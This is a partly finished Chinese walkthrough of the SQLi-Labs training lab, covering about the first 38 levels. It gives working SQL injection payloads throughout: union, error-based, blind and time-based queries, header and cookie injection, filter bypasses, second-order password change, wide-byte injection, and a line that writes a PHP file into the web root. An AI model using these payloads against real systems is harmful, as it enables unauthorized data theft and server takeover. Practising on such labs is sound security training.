SQLi-Labs1~65关通关攻略

文章目录

    • 没弄完,
      • 1~10 GET传输
        • Less-1 联合查询[ ' ]
        • Less-2 联合查询[ ]
        • Less-3 联合查询[ ') ]
        • Less-4 联合查询[ ") ]
        • Less-5 报错注入[ ' ]
        • Less-6 报错注入[ " ]
        • Less-7 写入数据[ ')) ]
        • Less-8 布尔盲注[ ' ]
        • Less-9 延迟注入[ ' ]
        • Less-10 延迟注入[ ” ]
      • 11~20 POST传输
        • Less-11 *联合查询【 ' 】
        • Less-12 联合查询【 ") 】
        • Less-13 报错注入【 ') 】
        • Less-14 报错注入【 " 】
        • Less-15 布尔盲注【 ' 】
        • Less-16 布尔盲注【 " 】
        • Less-17 报错注入【 ' 】
        • Less-18 http头部报错注入字段【 ' 】
        • Less-19 http头部报错注入【 ' 】
        • Less-20 Cookie注入
      • 21~30 过滤&绕过
        • Less-21 Cookie_Base64 报错注入【 ') 】
        • Less-22 Cookie_Base64注入 报错注入【 " 】
        • Less-23 过滤【 #、--+ 】
        • Less-24 二次注入
        • Less-25 过滤【or、and 】
        • Less-26 过滤【 or、and、/、*、--、#、\s(所有空格)、\】
        • Less-27 过滤【 /、*、--、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
        • Less-28 过滤【 /*、--、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
        • Less-29 过滤【不知道】
        • Less-30
      • 31~40
        • Less-31
        • Less-32
        • Less-33
        • Less-34
        • Less-35
        • Less-36
        • Less-37
        • Less-38
        • Less-39
        • Less-40
      • 41~50
        • Less-41
        • Less-42
        • Less-43
        • Less-44
        • Less-45
        • Less-46
        • Less-47
        • Less-48
        • Less-49
        • Less-50
      • 51~60
        • Less-51
        • Less-52
        • Less-53
        • Less-54
        • Less-55
        • Less-56
        • Less-57
        • Less-58
        • Less-59
        • Less-60
      • 61~65
        • Less-61
        • Less-62
        • Less-63
        • Less-64
        • Less-65

没弄完,

1~10 GET传输

Less-1 联合查询[ ’ ]

1、判断sql语句中一共返回了多少列

order by 3 --+

对比如下两张图的显示页面。得知有3列
SQLi-Labs1~65关通关攻略_第1张图片
SQLi-Labs1~65关通关攻略_第2张图片
2、查看显示位

union select 1,2,3 --+

SQLi-Labs1~65关通关攻略_第3张图片

可联合查询注入

Less-2 联合查询[ ]

可联合查询注入

Less-3 联合查询[ ') ]

可联合查询注入

Less-4 联合查询[ ") ]

可联合查询注入

Less-5 报错注入[ ’ ]

1、判断是什么类型的注入SQLi-Labs1~65关通关攻略_第4张图片
2、报错注入可用SQLi-Labs1~65关通关攻略_第5张图片
报错型注入

Less-6 报错注入[ " ]

报错型注入

Less-7 写入数据[ ')) ]

前提条件:show global variables like '%secure%';
SQLi-Labs1~65关通关攻略_第6张图片
1、secure_file_priv = null # 表示不允许导入导出
2、secure_file_priv = 路径时 # 表示mysql的导入导出只能发生在指定的文件夹
3、secure_file_priv = # 不给值的时候,则表示没有任何限制

SQLi-Labs1~65关通关攻略_第7张图片
对比如下的图。
SQLi-Labs1~65关通关攻略_第8张图片
加单双引号试试返回的页面

SQLi-Labs1~65关通关攻略_第9张图片
SQLi-Labs1~65关通关攻略_第10张图片
加**–+**注释掉后面的内容。
SQLi-Labs1~65关通关攻略_第11张图片
SQLi-Labs1~65关通关攻略_第12张图片
当拥有写入权限之后

SQLi-Labs1~65关通关攻略_第13张图片
构造写入一句话

union select 1,2, "" into outfile "c:/phpStudy/PHPTutorial/WWW/yjh.php"--+

SQLi-Labs1~65关通关攻略_第14张图片

传送门

Less-8 布尔盲注[ ’ ]

优点:不需要显示位,不需要数据库报错信息,
只需要当数据库语句执行时没有结果和正常执行要有区别

缺点:速度慢
SQLi-Labs1~65关通关攻略_第15张图片
1、判断当前数据库的长度

and length(database()) = 8 --+			# 经过我多次的猜测,得到当前数据库的长度为8

2、猜测当前数据库的库名
经过我多次的猜测,终于确定了这个8位数的数据库名位" security "

and ord((substr(database(),8)))=121 --+			# 经过我多次的猜测,终于确定了这个8位数的数据库名位" security "

盲注太费时间了,效率不高。建议写脚本或者使用sqlmap工具
布尔盲注

Less-9 延迟注入[ ’ ]

优点:不需要显示位,不需要数据库报错信息,
不需要页面有区别

缺点:速度太慢,误差大
SQLi-Labs1~65关通关攻略_第16张图片
查看源码发现
SQLi-Labs1~65关通关攻略_第17张图片
通过if(表达式,值1,值2)来判断
1、注入点判断

and sleep(5) --+			# 页面卡住5秒,则说明存在注入点

2、 判断数据库长度

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

延迟注入

Less-10 延迟注入[ ” ]

1、注入点判断

and sleep(5) --+			# 页面卡住5秒,则说明注入点正确

2、 判断数据库长度

and if(length(database())=8,sleep(5),1) --+			# 表达式为Ture时,页面卡住5秒。否则页面卡住一秒

延迟注入

11~20 POST传输

Less-11 *联合查询【 ’ 】

POST提交参数
1、注入点判断
SQLi-Labs1~65关通关攻略_第18张图片
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)
2、查看显示位

uname=不存在的用户' union select 1,2 #&passwd=&submit=Submit

SQLi-Labs1~65关通关攻略_第19张图片

Less-12 联合查询【 ") 】

POST提交参数
基于post提交数据的联合查询(同GET一样的操作,不一样的位置)

Less-13 报错注入【 ') 】

POST提交参数
1、注入点判断
SQLi-Labs1~65关通关攻略_第20张图片
2、爆数据

uname=账号无所谓') and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=Dumb&submit=Submit	# 爆出当前的数据库

基于post提交数据的报错注入(同GET一样的操作,不一样的位置)

Less-14 报错注入【 " 】

POST提交参数

Less-15 布尔盲注【 ’ 】

POST提交参数
1、根据回显的页面的不同来判断
SQLi-Labs1~65关通关攻略_第21张图片
SQLi-Labs1~65关通关攻略_第22张图片
2、操作和GET操作的一样。位置不一样而已
基于post提交数据的布尔盲注(同GET一样的操作,不一样的位置)

Less-16 布尔盲注【 " 】

POST提交参数

Less-17 报错注入【 ’ 】

POST提交参数
SQLi-Labs1~65关通关攻略_第23张图片

Less-18 http头部报错注入字段【 ’ 】

修改 User-Agen(前提,登录的账号密码要对)
1、通过Bp抓取数据包
SQLi-Labs1~65关通关攻略_第24张图片
2、爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1			# 爆出当前数据库

http头部注入

Less-19 http头部报错注入【 ’ 】

修改 Referer 字段
1、通过Bp抓取数据包
http头部注入
2、爆数据

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

SQLi-Labs1~65关通关攻略_第25张图片
http头部注入

Less-20 Cookie注入

报错注入【 ’ 】
1、爆数据
SQLi-Labs1~65关通关攻略_第26张图片
cookie注入

21~30 过滤&绕过

Less-21 Cookie_Base64 报错注入【 ') 】

1、判断注入点SQLi-Labs1~65关通关攻略_第27张图片
2、Base64加密
SQLi-Labs1~65关通关攻略_第28张图片
3、爆数据

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==			# 这个是转成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 这个是没转的

cookie_Base64注入

Less-22 Cookie_Base64注入 报错注入【 " 】

1、判断注入点
SQLi-Labs1~65关通关攻略_第29张图片
cookie注入

Less-23 过滤【 #、–+ 】

注入点【 ’ 】

绕过:闭合绕过
SQLi-Labs1~65关通关攻略_第30张图片

1、查看显示位

union select 1,2,'3 

SQLi-Labs1~65关通关攻略_第31张图片

Less-24 二次注入

1、先创建一个相似的账号SQLi-Labs1~65关通关攻略_第32张图片
SQLi-Labs1~65关通关攻略_第33张图片
2、登录创建好的admin’#账号并改此账号的密码
SQLi-Labs1~65关通关攻略_第34张图片
利用二次注入,就可以随便改密码了
SQLi-Labs1~65关通关攻略_第35张图片

Less-25 过滤【or、and 】

注入点【 ’ 】

绕过:双写绕过(or=oorr、and=aandnd)
SQLi-Labs1~65关通关攻略_第36张图片
绕过:运算符绕过(or=||、and=&&)
SQLi-Labs1~65关通关攻略_第37张图片

Less-26 过滤【 or、and、/、*、–、#、\s(所有空格)、\】

注入点【 ’ 】

过滤:【 or、and、/、*、–、#、\s(所有空格)、\】
绕过:【利用()来代替空格】
由于PHP版本的问题,一些空格的代替用不了。
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

小知识点:
因为要绕空格,所以 limit 就不能用了,但是报错注入只能爆出32位。
数据多的话,可以使用一个盲注中用过的函数substr(),

?id=1'||updatexml(1,substr(concat(0x7e,(select (group_concat(username)) from (users)),0x7e),1,32),1)||'1

Less-27 过滤【 /、*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】

注入点【 ’ 】

过滤:【 /*、–、#、 +、空格+、select、Select、SELECT、union、Union、UNION、】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
SQLi-Labs1~65关通关攻略_第38张图片

Less-28 过滤【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】

注入点【 ') 】

过滤:【 /*、–、#、 +、空格+、/union\s+select/i(组合型拼接:union select)】
绕过:PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
SQLi-Labs1~65关通关攻略_第39张图片
成功绕过
SQLi-Labs1~65关通关攻略_第40张图片

Less-29 过滤【不知道】

注入点【 ’ 】

?id=1&id=2' and extractvalue(1,concat('^',database(),'^')) %23

Less-30

31~40

Less-31

Less-32

宽字节注入
SQLi-Labs1~65关通关攻略_第41张图片

加了%df后最终的语句就是
?id=1運‘ =union select 1,2,3 --+
SQLi-Labs1~65关通关攻略_第42张图片

Less-33

Less-34

Less-35

Less-36

Less-37

Less-38

堆叠注入[ ’ ]
个人理解:相等于用sql命令在操作数据库
SQLi-Labs1~65关通关攻略_第43张图片
SQLi-Labs1~65关通关攻略_第44张图片
堆叠注入

Less-39

Less-40

41~50

Less-41

Less-42

Less-43

Less-44

Less-45

Less-46

Less-47

Less-48

Less-49

Less-50

51~60

Less-51

Less-52

Less-53

Less-54

Less-55

Less-56

Less-57

Less-58

Less-59

Less-60

61~65

Less-61

Less-62

Less-63

Less-64

Less-65

你可能感兴趣的:(#,SQLi-Labs通关)